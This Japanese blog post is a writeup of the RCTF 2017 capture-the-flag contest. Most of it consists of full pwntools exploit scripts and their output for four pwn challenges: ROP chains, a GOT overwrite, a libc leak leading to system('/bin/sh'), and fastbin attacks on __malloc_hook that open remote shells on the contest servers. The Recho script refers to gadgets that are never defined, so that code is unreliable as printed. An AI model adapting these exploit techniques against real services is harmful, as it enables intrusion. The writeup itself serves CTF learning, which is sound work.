ブログ未満のなにか

ブログなのか誰にも分からない

RCTF 2017 writeup

はじめに

TokyoWesternsで参加して4581ptで15位だった。自分はそのうち6問を解いて1965ptだった。 解いた問題は、Sign In、easyre、Recho、RCalc、RNote、RNote2で、そのwriteupを書いていく。

Sign In (Misc 32pt)

IRCに入るだけ

RCTF{Welcome_To_RCTF_2017}

easyre (Revrse 153pt)

UPXで圧縮されていたので、まずは解凍した。 gdbで適当に処理を追いながら、flagらしい文字列を送信したら当たっていた。

RCTF{rhelheg}

Recho (Pwn 370pt)

はじめにsizeを指定するためのread()があり、指定したsize分だけまたread()がある。それをずっと繰り返しており、sizeの入力がなかったとき(EOFを送る)にmainの処理が終わる。 SSPがないため、BOFを起こせるが、ネットワーク越しだと一回EOFを送るとその先の入力が行えなくなる。そのため一回のROPでflagを読む必要がある。 方針は単純で、read()のGOTの値を適当に書き換えてopen()にして、open()->read()->write()を行った。

#!/usr/bin/env python
from pwn import *

context(os='linux', arch='amd64')
#context.log_level = 'debug' # output verbose log

RHOST = "recho.2017.teamrois.cn"
RPORT = 9527
LHOST = "127.0.0.1"
LPORT = 9527

# libc = ELF('')
elf = ELF('./Recho')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

def section_addr(name, elf=elf):
    return elf.get_section_by_name(name).header['sh_addr']

conn = None
if len(sys.argv) > 1:
    if sys.argv[1] == 'r':
        conn = remote(RHOST, RPORT)
    elif sys.argv[1] == 'l':
        conn = remote(LHOST, LPORT)
    elif sys.argv[1] == 'd':
        execute = """
        # set environment LD_PRELOAD=
        b *{0}
        c
        """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
        conn = gdb.debug(['./Recho'], execute=execute)
else:
    conn = process(['./Recho'])
    # conn = process(['./Recho'], env={'LD_PRELOAD': ''})


bufsize = 48 # without saved ebp 

write_plt = elf.symbols['write']
read_plt = elf.symbols['read']
write_got = elf.got['write']
read_got = elf.got['read']

pop_rax =  0x004006fc   #: pop rax ; ret  ;  (1 found)
pop_rdi =  0x004008a3   #: pop rdi ; ret  ;  (1 found)
pop_rdx =  0x004006fe   #: pop rdx ; ret  ;  (1 found)
pop_rsi_r15 = 0x004008a1#: pop rsi ; pop r15 ; ret  ;  (1 found)
call_rax = 0x004005b0   #: call rax ;  (1 found)
add_rdi_al = 0x0040070d #: add byte [rdi], al ; ret  ;  (1 found)

flag_addr = 0x601058

bss = 0x00601000 + 0x100

# preparing for exploitation

log.info('Pwning')

conn.recvuntil('Welcome to Recho server!\n')
payload = "A" * bufsize
payload += p64(1)

# modify GOT of 'read' to 'open' 
rop = ''
rop += p64(pop_rdi)
rop += p64(read_got)
rop += p64(pop_rax)
rop += p64(0xe0)    # -0x20
rop += p64(add_rdi_al)
rop += p64(pop_rdi)
rop += p64(read_got+1)
rop += p64(pop_rax)
rop += p64(0xfe)    # -2
rop += p64(add_rdi_al)

# open('flag', constants.O_RDONLY)
rop += p64(pop_rdi)
rop += p64(flag_addr)
rop += p64(pop_rsi_r15)
rop += p64(constants.O_RDONLY)
rop += p64(0x4141414142424242)
rop += p64(pop_r12_3)
rop += p64(read_got)
rop += p64(read_got)
rop += p64(read_got)
rop += p64(read_got)
rop += p64(call_r12)
rop += p64(0xdeadbeaf) * 7

# modify GOT of 'open' to 'read' 
rop += p64(pop_rdi)
rop += p64(read_got)
rop += p64(pop_rax)
rop += p64(0x20)    # -0x20
rop += p64(add_rdi_al)
rop += p64(pop_rdi)
rop += p64(read_got+1)
rop += p64(pop_rax)
rop += p64(0x2)    # -2
rop += p64(add_rdi_al)

# read(fd, bss, 0x100)
rop += p64(pop_rax)
rop += p64(read_plt)
rop += p64(pop_rdi)
rop += p64(3)
rop += p64(pop_rsi_r15)
rop += p64(bss)
rop += p64(0xdeadbeaf)
rop += p64(pop_rdx)
rop += p64(0x100)
rop += p64(call_rax)
rop += p64(0x0)

# write(stdout, bss, 0x100)
rop += p64(pop_rax)
rop += p64(write_plt)
rop += p64(pop_rdi)
rop += p64(constants.STDOUT_FILENO)
rop += p64(pop_rsi_r15)
rop += p64(bss)
rop += p64(0x11)
rop += p64(pop_rdx)
rop += p64(0x100)
rop += p64(call_rax)

payload += rop
conn.sendline(str(len(payload)).ljust(0xf, '\x00'))
conn.send(payload)
conn.shutdown('send')
conn.interactive()
% python exploit.py r
[*] '/home/hama/ctf/RCTF2017/Recho/Recho/Recho'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE
[*] '/lib/x86_64-linux-gnu/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to recho.2017.teamrois.cn on port 9527: Done
[*] Pwning
[*] Switching to interactive mode
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x10RCTF{l0st_1n_th3_3ch0_d6794b}
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00[*] Closed connection to recho.2017.teamrois.cn port 9527
[*] Got EOF while reading in interactive

RCalc (Pwn 350pt)

scanf(“%s”)があり、BOFが起きる。自前のSSPが実装されているが、計算結果の保存を繰り返し行うことでcanaryを書き潰すことができるので、無いも同然。 scanfで区切られる文字に注意しながら、ROPした。

#!/usr/bin/env python
from pwn import *

context(os='linux', arch='amd64')
# context.log_level = 'debug' # output verbose log

RHOST = "rcalc.2017.teamrois.cn"
RPORT = 2333
LHOST = "127.0.0.1"
LPORT = 2333

libc = ELF('./libc.so.6')
elf = ELF('./RCalc')

def section_addr(name, elf=elf):
    return elf.get_section_by_name(name).header['sh_addr']

conn = None
if len(sys.argv) > 1:
    if sys.argv[1] == 'r':
        conn = remote(RHOST, RPORT)
    elif sys.argv[1] == 'l':
        conn = remote(LHOST, LPORT)
    elif sys.argv[1] == 'd':
        execute = """
        # set environment LD_PRELOAD=./libc.so.6
        b *{0}
        c
        """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
        conn = gdb.debug(['./RCalc'], execute=execute)
else:
    conn = process(['./RCalc'])
    # conn = process(['./RCalc'], env={'LD_PRELOAD': './libc.so.6'})

# preparing for exploitation

puts_got = elf.got['puts']
read_got = elf.got['read']
puts_offset = libc.symbols['puts']
system_offset = libc.symbols['system']
binsh_offset = next(libc.search('/bin/sh'))

leave_ret = 0x00401034  #: leave  ; ret  ;  (1 found)
csu_init1 = 0x401100    # mov rdx, r13 ; mov rsi, r14 ; mov edi, r15d ; call qword [r12+rbx*8] ;  (1 found)
csu_init2 = 0x40111a    # pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret  ;  (1 found)
pop_rdi = 0x00401123    #: pop rdi ; ret  ;  (1 found)
bss = 0x602200

def Add(int1, int2, flag):
    conn.sendlineafter('Your choice:', '1')
    conn.sendlineafter('input 2 integer: ', str(int1))
    conn.sendline(str(int2))
    
    if flag:
        conn.sendlineafter('Save the result? ', 'yes')
    else:
        conn.sendlineafter('Save the result? ', 'no')


log.info('Pwning')

name = 'A' * 0x108
name += p64(0x2)
name += "X" * 8

# read(stdin, bss, 0x100) and stack pivot
rop = ''
rop += p64(csu_init2)
rop += p64(0x070400)                # rbx
rop += p64(0x070400+1)              # rbp
rop += p64(0x280050)                # r12
rop += p64(0x100)                   # r13
rop += p64(bss)
rop += p64(0x0)
rop += p64(csu_init1)
rop += "Z" * 8
rop += "Z" * 8
rop += p64(bss - 8)
rop += "Z" * (8 * 4)
rop += p64(leave_ret)

payload = name + rop
conn.sendlineafter('Input your name pls: ', payload)

for i in range(0x20 + 2):
    Add(i, i, True)

Add(1, 1, True)
conn.sendlineafter('Your choice:', '5'.ljust(0xf, '\x00'))

# puts(puts_got)
rop = ''
rop += p64(csu_init2)
rop += p64(0x0)                    # rbx
rop += p64(0x1)                    # rbp
rop += p64(puts_got)                # r12
rop += p64(0xdeadbeaf)             # r13
rop += p64(0xdeadbeaf)
rop += p64(puts_got)
rop += p64(csu_init1)
rop += "Z" * 8
# read(stdin, bss+a, 0x100) and stack pivot
rop += p64(0x0)                    # rbx
rop += p64(0x1)                    # rbp
rop += p64(read_got)                # r12
rop += p64(0x100)             # r13
rop += p64(bss+0x100)
rop += p64(0)
rop += p64(csu_init1)
rop += "Z" * 8
rop += "Z" * 8
rop += p64(bss - 8 + 0x100)
rop += "Z" * (8 * 4)
rop += p64(leave_ret)
conn.sendline(rop)

libc_base = u64(conn.recv(6).ljust(8, '\x00')) - puts_offset
log.info('libc_base = {:#x}'.format(libc_base))

rop = ''
rop += p64(pop_rdi)
rop += p64(libc_base + binsh_offset)
rop += p64(libc_base + system_offset)
conn.sendline(rop)

conn.interactive()
% python exploit.py r
[*] '/home/hama/ctf/RCTF2017/RCalc/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] '/home/hama/ctf/RCTF2017/RCalc/RCalc'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE
[+] Opening connection to rcalc.2017.teamrois.cn on port 2333: Done
[*] Pwning
[*] libc_base = 0x7f9b1a4f4000
[*] Switching to interactive mode

$ cat flag
RCTF{Y0u_kn0w_th3_m4th_9e78cc}

RNote (Pwn 454pt)

bss上に存在する管理領域で、off-by-one BOFが存在する。書き潰せる箇所は、malloc()で取得したポインタなので、ある程度任意の箇所でfree()ができる。 double freeができるので、fastbin dupからfastbin attackをした。__malloc_hookを書き換えてone gadget RCEを使った。

#!/usr/bin/env python
from pwn import *

context(os='linux', arch='amd64')
#context.log_level = 'debug' # output verbose log

RHOST = "rnote.2017.teamrois.cn"
RPORT = 7777
LHOST = "127.0.0.1"
LPORT = 7777

# libc = ELF('./libc.so.6')
elf = ELF('./RNote')

def section_addr(name, elf=elf):
    return elf.get_section_by_name(name).header['sh_addr']

conn = None
if len(sys.argv) > 1:
    if sys.argv[1] == 'r':
        conn = remote(RHOST, RPORT)
    elif sys.argv[1] == 'l':
        conn = remote(LHOST, LPORT)
    elif sys.argv[1] == 'd':
        execute = """
        # set environment LD_PRELOAD=./libc.so.6
        b *{0}
        c
        """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
        conn = gdb.debug(['./RNote'], execute=execute)
else:
    conn = process(['./RNote'])
    # conn = process(['./RNote'], env={'LD_PRELOAD': './libc.so.6'})

# preparing for exploitation

def add_note(size, name, content):
    conn.sendlineafter('Your choice: ', '1')
    conn.sendlineafter('Please input the note size: ', str(size))
    conn.sendafter('Please input the title: ', name)
    conn.sendafter('Please input the content: ', content)

def delete_note(idx):
    conn.sendlineafter('Your choice: ', '2')
    conn.sendlineafter('Which Note do you want to delete: ', str(idx))

def show_note(idx): 
    conn.sendlineafter('Your choice: ', '3')
    conn.sendlineafter('Which Note do you want to show: ', str(idx))
    
    conn.recvuntil('note title: ')
    name = conn.recvline()
    conn.recvuntil('note content: ')
    content = conn.recvuntil('***********************')
    return (name, content)

log.info('Pwning')

# idx = 0
add_note(0xa0, '\x10'*0x11, 'b'*0xa0)
(buf, _) = show_note(0)
buf = buf.split('\n')[0]
heap_base = u64(buf[16:].ljust(0x8, '\x00')) - 0x10
log.info('heap_base = {:#x}'.format(heap_base))  

add_note(0x40, 'hoge\n', 'c'*0x40)  # idx=1
delete_note(0)
add_note(0xa0, 'fuga\n', '\n')     # idx=0
(_, buf) = show_note(0)
libc_base = u64(buf[:6].ljust(8, '\x00')) - 0x3c3b0a
log.info('libc_base = {:#x}'.format(libc_base))

add_note(0x60, 'AAAAAA\n', 'c'*0x60)  # idx=2
add_note(0x60, 'BBBBBB\n', 'c'*0x60)  # idx=3
delete_note(2)
add_note(0x10, '\x10'*0x11, 'fd')     # idx=2
delete_note(3)
delete_note(2)

offset = 0x3c3af5-8 
add_note(0x60, 'fastbin\n', p64(libc_base + offset) + "\n")
add_note(0x60, 'a\n', 'a\n')
add_note(0x60, 'a\n', 'a\n')
payload = ''
payload = '\x00'*3
payload += p64(0) * 2
payload += p64(libc_base+0xf0567)
#payload = payload.ljust(0x67,'x')
add_note(0x68, 'a\n', payload + '\n')
conn.interactive()
% python exploit.py r
[*] '/home/hama/ctf/RCTF2017/RNote/RNote'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE
[+] Opening connection to rnote.2017.teamrois.cn on port 7777: Done
[*] Pwning
[*] heap_base = 0x1201000
[*] libc_base = 0x7f979d363000
[*] Switching to interactive mode
***********************
1.Add new note
2.Delete a note
3.Show a note
4.Exit
***********************
Your choice: $ 1
$ 10
Please input the note size: $ ls
RNote
bin
dev
flag
lib
lib32
lib64
$ cat flag
RCTF{just_A_0ne_byt3_0ve3fl0w_0_233333}

RNote2 (Pwn 606pt)

expand機能でめんどくさい感じのバグがあり、直下のchunkのsizeを上書きできる。unsortedbinにつながっているchunkのsizeをより大きい値で上書きしてoverlapを起こした。 適当にfastbin attackをして、one gadget RCEを使った。

#!/usr/bin/env python
from pwn import *

context(os='linux', arch='amd64')
#context.log_level = 'debug' # output verbose log

RHOST = "rnote2.2017.teamrois.cn"
RPORT = 6666
LHOST = "127.0.0.1"
LPORT = 6666

# libc = ELF('./libc.so.6')
elf = ELF('./RNote2')

def section_addr(name, elf=elf):
    return elf.get_section_by_name(name).header['sh_addr']

conn = None
if len(sys.argv) > 1:
    if sys.argv[1] == 'r':
        conn = remote(RHOST, RPORT)
    elif sys.argv[1] == 'l':
        conn = remote(LHOST, LPORT)
    elif sys.argv[1] == 'd':
        execute = """
        # set environment LD_PRELOAD=./libc.so.6
        b *{0}
        c
        """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
        conn = gdb.debug(['./RNote2'], execute=execute)
else:
    conn = process(['./RNote2'])
    # conn = process(['./RNote2'], env={'LD_PRELOAD': './libc.so.6'})

def add_note(length, content):
    conn.sendlineafter('Your choice:', '1')
    conn.sendafter('Input the note length:', str(length))
    conn.sendafter('Input the note content:', content)

def delete_note(idx):
    conn.sendlineafter('Your choice:', '2')
    conn.sendlineafter('Which note do you want to delete?', str(idx))

def list_note():
    conn.sendlineafter('Your choice:', '3')
    
def edit_note(idx, content):
    conn.sendlineafter('Your choice:', '4')
    conn.sendlineafter('Which note do you want to edit?', str(idx))
    conn.sendafter('Input new content:', content)

def expand_note(idx, length, content):
    conn.sendlineafter('Your choice:', '5')
    conn.sendlineafter('Which note do you want to expand?', str(idx))
    conn.sendlineafter('How long do you want to expand?', str(length))
    conn.sendafter('Input content you want to expand', content)

# preparing for exploitation

log.info('Pwning')

# leak libc
add_note(0x90+8, 'a'*0x98)  # id = 1
add_note(0x90+8, 'a'*0x98)  # id = 1
delete_note(1)
add_note(0x20, '\n')
list_note()
conn.recvuntil('Note content: ')
conn.recvuntil('Note content: ')
libc_base = u64(conn.recv(6).ljust(8, '\x00')) - 0x3c3c0a 
log.info('libc_base = {:#x}'.format(libc_base))

# leak heap_base
add_note(0x38, '\n')
delete_note(2)
delete_note(2)
add_note(0x28, 'b'*0x10+'\n')
list_note()
conn.recvuntil('b'*0x10)
heap_base = u64(conn.recv(6).ljust(8, '\x00')) - 0xa
log.info('heap_base = {:#x}'.format(heap_base))

add_note(0x38, 'hoge\n')    # id = 3
add_note(0x100, 'd'*0x100)
add_note(0x68, 'e'*0x68)
delete_note(4)
delete_note(3)
add_note(0x28, 'f'*0x28)
expand_note(4,0x80, '\xff'*0x80)
delete_note(3)

payload = 'x' * 0x88
payload += p64(0x31)
payload += p64(0x0)
payload += p64(0xc8)
payload += p64(0x0)
payload += p64(heap_base)
payload += p64(heap_base)
payload += p64(0x71)
payload += p64(libc_base + 0x3c3aed)
payload += "\n"

add_note(0xd0-8, payload)
add_note(0x70-8, '\n')
payload = '\x00' * 3
payload += p64(0x0) * 2
payload += p64(libc_base + 0xf5b10)
add_note(0x70-8, payload +'\n')

conn.interactive()
% python exploit.py r
[!] Couldn't find relocations against PLT to get symbols
[*] '/home/hama/ctf/RCTF2017/RNote2-dir/RNote2'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to rnote2.2017.teamrois.cn on port 6666: Done
[*] Pwning
[*] libc_base = 0x7fa60f4da000
[*] heap_base = 0x55a6b6dbe000
[*] Switching to interactive mode

***********************
1.Add new note
2.Delete a note
3.List all note
4.Edit a note
5.Expand a note
6.Exit
***********************
Your choice:
$ 1
Input the note length:
$ 10
$ ls
RNote2
bin
dev
flag
lib
lib32
lib64
$ cat flag
RCTF{f0rt1fy_th3_pr0gr4m_dud3!!!!!!!}

おわりに

ダラダラと解いていたので時間がかかった。難易度的には初心者向けよりちょっと上ぐらいに感じた。aiRcraftは時間がなかったので諦めた。solve数的には解けたと思うので速度を上げたい。 あとは、もっとrevをできるようになりたい。